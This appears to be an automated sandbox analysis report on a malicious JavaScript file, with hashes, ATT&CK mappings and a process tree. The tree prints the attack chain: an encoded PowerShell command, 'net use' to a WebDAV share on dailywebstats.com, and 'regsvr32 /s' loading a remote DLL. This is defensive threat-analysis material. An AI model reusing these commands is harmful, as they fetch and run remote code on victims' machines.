93672be1ab8b48aed80564c893d88151a2cff487e11146eafed4211c59efaf9f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
26/07/2024, 02:53

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General

Target

2991516735317804308.js
Size

18KB
MD5

4b76b6aec6500fd23662020a440440bf
SHA1

5ef900bfabff318ab4941037422e82cfeb29f472
SHA256

93672be1ab8b48aed80564c893d88151a2cff487e11146eafed4211c59efaf9f
SHA512

29081891c3192aafa705ef60189e9d55847d7f92a509637cd8b5cb0ae17c51ad8c84f2f05e3f62f842fec559cb51017897b7ed89578628ba2129111b3b7f19ad
SSDEEP

96:GDE8D8EgHsZXnNmRsmnWXSMNrXSwD6XSDLrXSwD8:c58zHw9mRsmW1xb6+Hb8

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 2804	2696	wscript.exe	30
PID 2696 wrote to memory of 2804	2696	wscript.exe	30
PID 2696 wrote to memory of 2804	2696	wscript.exe	30
PID 2804 wrote to memory of 2720	2804	powershell.exe	32
PID 2804 wrote to memory of 2720	2804	powershell.exe	32
PID 2804 wrote to memory of 2720	2804	powershell.exe	32
PID 2804 wrote to memory of 2640	2804	powershell.exe	33
PID 2804 wrote to memory of 2640	2804	powershell.exe	33
PID 2804 wrote to memory of 2640	2804	powershell.exe	33
PID 2804 wrote to memory of 2640	2804	powershell.exe	33
PID 2804 wrote to memory of 2640	2804	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2991516735317804308.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADUANAA3ADkANAA5ADcAMAAyADgAMwA0ADYALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2720
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\5479497028346.dll
    3⤵
    PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2804-4-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Filesize
4KB

Download
memory/2804-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2804-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2804-8-0x0000000002C5B000-0x0000000002CC2000-memory.dmp

Filesize
412KB

Download
memory/2804-7-0x0000000002C54000-0x0000000002C57000-memory.dmp

Filesize
12KB

Download
memory/2804-9-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-10-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download